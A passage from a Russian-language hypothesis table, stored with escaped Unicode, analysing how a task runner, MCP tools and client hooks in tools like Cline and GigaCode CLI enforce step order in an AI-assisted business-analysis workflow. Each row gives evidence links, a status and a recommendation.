\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c (\u043e\u0442\u0432\u0435\u0442\u044b \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430); \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043b\u0438\u0441\u0442\u0430 \u043f\u043e `EP-R8` |\\n128\\t| \u0413-32 | \u041e\u0448\u0438\u0431\u043a\u0443 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 runner \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 | `P12`: \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043a \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0437\u043b\u0443 n9 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443, \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 `task is blocked or finished`. \u041b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u0432 `blocked` ([L143-L147](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L143-L147)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u041e\u0442\u043b\u0438\u0447\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443 \u0432\u0432\u043e\u0434\u0430 (\u043d\u0435\u0442 \u0442\u0430\u043a\u043e\u0433\u043e \u0440\u0435\u0431\u0440\u0430, \u043d\u0435\u0442 \u0444\u0430\u0439\u043b\u0430) \u2014 \u0435\u0451 \u043d\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u043e\u0442\u043a\u0430\u0437 \u0433\u0435\u0439\u0442\u0430 \u2014 \u043e\u0442 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach. \u0414\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f: **\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435** \u2014 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u043d\u043e\u0432\u043e\u0433\u043e TASK ID |\\n129\\t| \u0413-33 | \u041f\u0430\u043a\u0435\u0442 \u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 (`EP-R7`) | `EP-R7` \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u0443 \u043f\u043e\u043f\u044b\u0442\u043a\u0443 ([L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231)); \u043c\u0430\u0440\u0448\u0440\u0443\u0442 GigaCode \u2014 `corrective_attempts: 0` \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 `EP-R7` ([L66-L67](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L66-L67)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430.** \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435: \u043e\u0434\u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0430, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f runner, \u2014 \u043e\u043d\u0430 \u043d\u0435 \u0441\u043a\u0440\u044b\u0442\u0430\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0443 ADR-018 |\\n130\\t| \u0413-34 | \u0423\u0437\u0435\u043b n7 \u00ab\u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443\u00bb \u043e\u043f\u0438\u0441\u0430\u043d \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e | \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0443\u0437\u043b\u0430: \u00ab\u0430\u0433\u0435\u043d\u0442 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435, \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0436\u0434\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u00bb ([L24](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L24)); \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0440\u0435\u0431\u0440\u0430: \u00ab\u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u2014 \u0440\u0435\u0431\u0440\u043e \u0433\u0440\u0430\u0444\u0430, \u0430 \u043d\u0435 \u043f\u0430\u0443\u0437\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml#L49)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c Source.** \u041e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0440\u0435\u0431\u0440\u043e\u043c \u0433\u0440\u0430\u0444\u0430 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 `waiting` ([\u0413-31](#\u0433-31)) |\\n131\\t| \u0413-35 | \u0416\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 append-only \u0438 \u0437\u0430\u0449\u0438\u0449\u0451\u043d \u043e\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u044b (`EP-R9`) | Runner \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 \u0438 `recorded_by: runner` ([L132-L139](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L132-L139)) \u0438 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 ([L94-L122](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L94-L122)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c.** \u042d\u0442\u043e \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u043e\u0438\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0432 \u043b\u044e\u0431\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440 |\\n132\\t| \u0413-36 | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u00ab\u0434\u0432\u0438\u0436\u043e\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d\u00bb \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | [\u0412\u0435\u0440\u0434\u0438\u043a\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193) \u0440\u0435\u0448\u0430\u0435\u0442 build \u043f\u0440\u043e\u0442\u0438\u0432 buy \u0434\u043b\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u043d\u043e \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f; \u043f\u043e\u0441\u044b\u043b\u043a\u0430 \u2014 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)) \u2014 \u0432\u0435\u0440\u043d\u0430 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 1 \u0438 \u043d\u0435\u0432\u0435\u0440\u043d\u0430 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u00ab\u041d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442 \u00ab\u043d\u0435 \u0438\u043c\u0435\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u00bb. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u2014 \u0441\u0432\u043e\u0439 runner |\\n133\\t\\n134\\t### \u0416. \u0421\u043b\u043e\u0439 2: \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442, \u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a)\\n135\\t\\n136\\t| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n137\\t|---|----------|----------------|--------|-------------|--------------|\\n138\\t| \u0413-37 | \u041a\u043b\u0438\u0435\u043d\u0442 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 (Cline, GigaCode CLI, \u0430\u043d\u0430\u043b\u043e\u0433\u0438) \u043c\u043e\u0436\u0435\u0442 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | Workflow Cline \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u0435\u043a\u0441\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043b\u0438 ([\u0442\u0435\u0441\u0442 `slash-command-expansion`](https://github.com/cline/cline/blob/main/apps/vscode/src/sdk/slash-command-expansion.test.ts)); \u043a\u043e\u043c\u0430\u043d\u0434\u044b Kilo Code, Gemini CLI \u0438 Qwen Code \u2014 \u0442\u043e\u0436\u0435 \u0442\u0435\u043a\u0441\u0442 ([Kilo](https://kilo.ai/docs/customize/workflows), [Gemini](https://geminicli.com/docs/cli/custom-commands/), [Qwen](https://qwenlm.github.io/qwen-code-docs/en/users/features/commands/)). Skills GigaCode \u00ab\u043d\u0435 \u0434\u0430\u044e\u0442\u00bb \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0439 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 ([ADR-018 L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u041a\u043b\u0438\u0435\u043d\u0442 \u2014 \u043c\u0435\u0441\u0442\u043e, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0436\u0438\u0432\u0451\u0442 \u0432 runner |\\n139\\t| \u0413-38 | MCP-\u0441\u0435\u0440\u0432\u0435\u0440 runner \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c | \u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f MCP: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u00abmodel-controlled\u00bb ([MCP 2025-11-25, tools](https://modelcontextprotocol.io/specification/2025-11-25/server/tools)); \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. ADR-018 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 ([L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)), ADR-019 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 MCP \u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043d\u043e \u043d\u0435 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a ([L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u043a\u0430\u043a \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0432\u0445\u043e\u0434, \u043d\u043e runner \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0435\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443 |\\n140\\t| \u0413-39 | Hooks \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043c\u043e\u0433\u0443\u0442 \u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 | Hook \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432: Cline \u2014 `cancel: true` ([\u043f\u0440\u0438\u043c\u0435\u0440 SDK](https://github.com/cline/cline/blob/main/sdk/examples/hooks/PreToolUse_BlockDestructive.sh)), Gemini CLI \u2014 \u043a\u043e\u0434 \u0432\u044b\u0445\u043e\u0434\u0430 2 ([hooks](https://geminicli.com/docs/hooks/)), Qwen Code \u2014 `permissionDecision: deny` ([hooks](https://qwenlm.github.io/qwen-code-docs/en/users/features/hooks/)). \u0417\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433 hook \u043d\u0435 \u043c\u043e\u0436\u0435\u0442. \u0423 GigaCode CLI hooks \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b ([\u0413-42](#\u0433-42)); hooks \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043d\u0430 Windows \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f ([\u0413-10 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-10)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** Hook \u2014 \u0441\u0442\u0440\u0430\u0436, \u0430 \u043d\u0435 \u0432\u0435\u0434\u0443\u0449\u0438\u0439. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0440\u0435\u0442\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 `runs/` \u043c\u0438\u043c\u043e runner |\\n141\\t| \u0413-40 | \u0421\u0440\u0435\u0434\u0430\u043c 1 \u0438 2 \u043d\u0443\u0436\u043d\u044b \u0440\u0430\u0437\u043d\u044b\u0435 runner'\u044b | \u0421\u0435\u0439\u0447\u0430\u0441 \u0438\u0445 \u0434\u0432\u0430: [`run-task.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py) \u0441 \u0433\u0440\u0430\u0444\u043e\u043c RG-BCREQ-v1 \u0438 [`run_task.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/run_task.py) \u0441 \u043e\u0434\u043d\u0438\u043c \u043e\u0442\u0440\u0435\u0437\u043a\u043e\u043c Working \u2192 Release. \u041b\u043e\u0433\u0438\u043a\u0430 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a; \u0441\u0440\u0435\u0434\u0430 4 \u0437\u0430\u0434\u0443\u043c\u0430\u043d\u0430 \u00ab\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0439 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438\u00bb ([ADR-019 L94](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L94)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0435 \u0432 \u043e\u0431\u0430 \u043f\u0430\u043a\u0435\u0442\u0430; \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u0434\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 |\\n142\\t| \u0413-41 | \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b, \u0432 \u043d\u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043b\u043e\u0433\u0438\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 | Roo Code \u0432 \u0430\u0440\u0445\u0438\u0432\u0435, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0432\u044b\u043f\u0443\u0441\u043a v3.54.0 \u043e\u0442 2026-05-15 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/RooCodeInc/Roo-Code)); \u0440\u0435\u0436\u0438\u043c Orchestrator \u0432 Kilo Code \u0443\u0441\u0442\u0430\u0440\u0435\u043b ([docs](https://kilo.ai/docs/code-with-ai/agents/orchestrator-mode)); Gemini CLI \u0441 2026-06-18 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0438 Enterprise-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b ([Google](https://developers.googleblog.com/an-important-update-transitioning-gemini-cli-to-antigravity-cli/)); Cline v4 \u0441\u043c\u0435\u043d\u0438\u043b \u0438\u043c\u0435\u043d\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0438 hook \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b \u0438\u0445 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c ([\u0413-11 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-11)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u0412\u0441\u0451, \u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0436\u0438\u0442\u044c \u0441\u043c\u0435\u043d\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u0436\u0438\u0432\u0451\u0442 \u0432 Source \u0438 runner |\\n143\\t| \u0413-42 | \u041f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 GigaCode CLI \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b | \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 GigaCode \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u044b IDE ([gitverse](https://gitverse.ru/features/gigacode/install/)); CLI \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043f\u043e \u0430\u043d\u043e\u043d\u0441\u0443 \u0432\u043e \u0432\u0442\u043e\u0440\u0438\u0447\u043d\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 ([seonews](https://m.seonews.ru/events/sber-predstavil-gigacode-cli-ii-razrabotchik-teper-rabotaet-iz-komandnoy-stroki/)); \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 hooks \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 | \u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e | \u041d\u0438\u0437\u043a\u0430\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f |\\n144\\t| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI \u0434\u043b\u044f Python \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 `base_url` ([openai-python](https://github.com/openai/openai-python)). \u0412 \u0441\u0440\u0435\u0434\u0435 1 API Mango AI \u043d\u0435\u0442 ([issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)). 